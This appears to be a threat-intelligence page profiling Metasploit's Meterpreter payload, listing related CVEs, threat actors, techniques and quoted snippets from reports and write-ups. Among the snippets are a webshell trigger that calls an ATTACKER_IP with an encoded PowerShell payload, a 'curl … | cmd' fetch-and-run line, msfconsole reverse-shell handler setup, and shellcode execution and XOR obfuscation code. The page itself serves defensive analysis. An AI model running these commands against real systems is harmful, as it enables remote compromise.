Loading malware…
Meterpreter is the advanced interactive payload framework used by Metasploit to provide in-memory remote control of compromised systems. It is widely used in offensive security operations and is also frequently deployed by threat actors as a post-compromise agent or staged payload. Meterpreter commonly operates as a stager or stageless reverse payload and can be delivered through exploit chains, malicious documents with macros, phishing lures, webshell-assisted intrusions, DLL sideloading, packed droppers, or custom loaders. It has been observed in both opportunistic crimeware activity and state-linked espionage operations.
Meterpreter supports remote command execution and extensive post-exploitation functionality through modular extensions. Reported uses include maintaining interactive access, executing additional payloads, privilege escalation through techniques such as named-pipe impersonation and token manipulation, process injection, and operation through customizable HTTP/S command-and-control profiles. It is also used as a lightweight first-stage foothold that downloads or enables more capable tooling later. On Linux, telemetry associated with Meterpreter reverse shells has shown reconnaissance behavior such as reading host identity, account, and routing information shortly after execution.
Although Meterpreter itself is primarily a remote access and post-exploitation framework rather than a dedicated surveillance suite, it is often paired with separate modules or companion malware for credential theft, keylogging, screen capture, and broader espionage tasks. Multiple intrusion sets have used Meterpreter alongside custom malware and commodity tools, including DarkHotel, Lebanese Cedar, DragonSpark, Transparent Tribe-related activity, and financially motivated intrusion clusters associated with TA505. It has also appeared as a backdoor dropped by trojanized software and packers, and as a payload delivered through phishing documents that establish initial remote access before follow-on tooling is deployed.
Meterpreter is cross-platform within the Metasploit ecosystem, with documented payloads and development support for Windows, Linux, Android, PHP, Java, Python, and mettle-based implementations, though the supplied facts most directly support Windows and Linux usage. Its prevalence, modularity, and integration with Metasploit make it one of the most recognizable and commonly encountered offensive payload families in intrusion investigations.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
11 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
On the 6th of April 2022, NCC Group’s Fox-IT discovered two separate flaws in FUJITSU CentricStor Control Center V8.1 which allows an attacker to gain remote code execution on the appliance without prior authentication or authorization. These are tracked as CVE-2022-31794 and CVE-2022-31795
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' } ... 'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
On the 6th of April 2022, NCC Group’s Fox-IT discovered two separate flaws in FUJITSU CentricStor Control Center V8.1 which allows an attacker to gain remote code execution on the appliance without prior authentication or authorization. These are tracked as CVE-2022-31794 and CVE-2022-31795
WICKED PANDA ... began 2020 by conducting a wide-ranging campaign focused on exploiting multiple vulnerabilities (CVE-2019-19781 and CVE-2020-10189) ... deployed Cobalt Strike and Meterpreter payloads
WICKED PANDA ... began 2020 by conducting a wide-ranging campaign focused on exploiting multiple vulnerabilities (CVE-2019-19781 and CVE-2020-10189) ... Upon successful exploitation, they deployed Cobalt Strike and Meterpreter payloads
It triggers on error messages indicating the print spooler failed to load a plug-in module, such as "meterpreter.dll," with error code 0x45A. | The following analytic detects driver load errors in the Windows PrintService Admin logs, specifically identifying issues related to CVE-2021-34527 (PrintNightmare). It triggers on error messages indicating the print spooler failed to load a plug-in module, such as "meterpreter.dll," with error code 0x45A.
Metasploit uses printf to write the Meterpreter stager to disk in 20ish byte chunks (each exploit attempt must fit within a 26 byte buffer), which is quite slow.
Table 1: Filenames and hashes of files used by a threat actor Filename MD5 t.py (tied to scheduled task, python meterpreter reverse shell port 9090) ... g.py (tied to scheduled task, python meterpreter reverse shell port 8088) ...
Analysts confirmed that nation-state advanced persistent threat (APT) actors exploited CVE-2022-47966 to gain unauthorized access to a public-facing application (Zoho ManageEngine ServiceDesk Plus), establish persistence, and move laterally through the network. This vulnerability allows for remote code execution on the ManageEngine application.
A threat actor exploited CVE-2023-46604 on an internet-facing Apache ActiveMQ server... The threat actor was able to perform remote code execution (RCE) by using a Java Spring class and a custom Java Spring bean configuration XML file.
Threat actors are actively exploiting a recently disclosed critical vulnerability, tracked as CVE-2026-1731 (CVSS score: 9.9), in BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA). The bug could allow an unauthenticated attacker to send specially crafted requests and run operating system commands remotely, without logging in.
24 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Compared to previous attack activities of this organization, this time DarkHotel has separated the remote control component (meterpreter) from functional components (keyboard logging, screen capture, and USB theft) for separate loading and operation.
Further use of Meterpreter and their custom Explosive RAT have been associated with objectives around maintaining access through theft of legitimate network credentials, ultimately pursuing espionage objectives.
Tools: SpicyOmelette, Cobalt Strike, Meterpreter, Mimikatz, CobtInt, ATMSpitter, Carbanak, Buhtrap, Cyst, Metasploit.
AhnLab reported that the Kimsuky group has used a Go language version of Meterpreter, and subsequent discoveries include additional Go-based malware like Troll Stealer and GoBear.
AhnLab reported that the Kimsuky group has used a Go language version of Meterpreter, and subsequent discoveries include additional Go-based malware like Troll Stealer and GoBear.
Cinnamon Tempest has used open-source tools including customized versions of the Iox proxy tool, NPS tunneling tool, Meterpreter, and a keylogger that uploads data to Alibaba cloud storage.
31 distinct techniques documented for this family, organized by ATT&CK tactic.
DarkHotel has separated the remote control component (meterpreter) from functional components (keyboard logging, screen capture, and USB theft) for separate loading and operation.
C:\Backup\info.txt documents a scheduled task invoked TFTP.EXE on a five-minute interval as Administrator.
rpc.call('session.interactive_write', 1, "sysinfo") ... rpc.call('session.interactive_read', 1)
Trigger via the webshell: curl "http:// < TARGET_IP > :8080/site/index.php?page=http:// < ATTACKER_IP > :8000/cmd.php&cmd=powershell+-enc+ < BASE64_PAYLOAD > "
[*] Command to execute on target: curl -s http://10.5.135.210:80/q|cmd
We have a Meterpreter session as www-data. Upgrading to a Full Shell ... meterpreter > shell ... python -c 'import pty; pty.spawn("/bin/bash")'
[*] Using configured payload php/meterpreter/reverse_tcp ... [*] Uploading sBKP7OLDD.php ... Meterpreter : php/linux
void * exec = VirtualAlloc ( 0 , sizeof result , MEM_COMMIT , PAGE_EXECUTE_READWRITE ); memcpy ( exec , result , sizeof result ); (( void ( * )()) exec )();
rpc.call('module.execute', 'exploit', 'unix/webapp/thinkphp_rce', {'LHOST' => '192.168.4.4', 'RPORT'=>8080, 'RHOSTS'=>'127.0.0.1', 'SRVPORT'=>8888})
C:\Backup\info.txt documents a scheduled task invoked TFTP.EXE on a five-minute interval as Administrator.
C:\Backup\info.txt documents a scheduled task invoked TFTP.EXE on a five-minute interval as Administrator.
We will divide the shell code into six equal parts and XOR each part with a different key. Then we will perform the reverse operation, i.e., we will perform the XOR operation on the XORed parts with their respective keys.
Executes the shell “ ifconfig ” command. The expect routine looks for a string containing “+” as an indication of success.
We will be using a reverse TCP shellcode... msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.1.6; set lport 6210; exploit"
Support added and tweaked for including the UUID in an HTTP header or in a GET param. Currently don't have support for it in the BODY as as param, not sure if that's a requirement yet or not. Same goes for cookies.
A hidden feature of Metasploit, is the ability to add SMB Named Pipe listeners in a meterpreter session to pivot on an internal network. | In the same way as a port forward pivot is set up, your meterpreter session registers a named pipe, and listens to connections to this. After it has been configured, your meterpreter session acts as a listener for SMB connections.
[*] Client 10.5.134.194 requested /q [*] Sending payload to 10.5.134.194 (curl/7.83.1) ... [*] Sending stage (248902 bytes) to 10.5.134.194
90 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
120 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Meterpreter is referenced as a Metasploit payload, specifically the linux/multi/meterpreter_reverse_tcp payload. In this content it is discussed in the context of cache generation/build automation issues for multi-architecture payloads, not as an active malware campaign.
Meterpreter1
Meterpreter is the primary payload being modified to support TLV-based configuration, stageless operation, HTTP/S C2 profile handling, UUID placement/encoding, and MC2 interoperability across multiple payload types.
Meterpreter is referenced as a Metasploit payload used for remote shell/access sessions.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.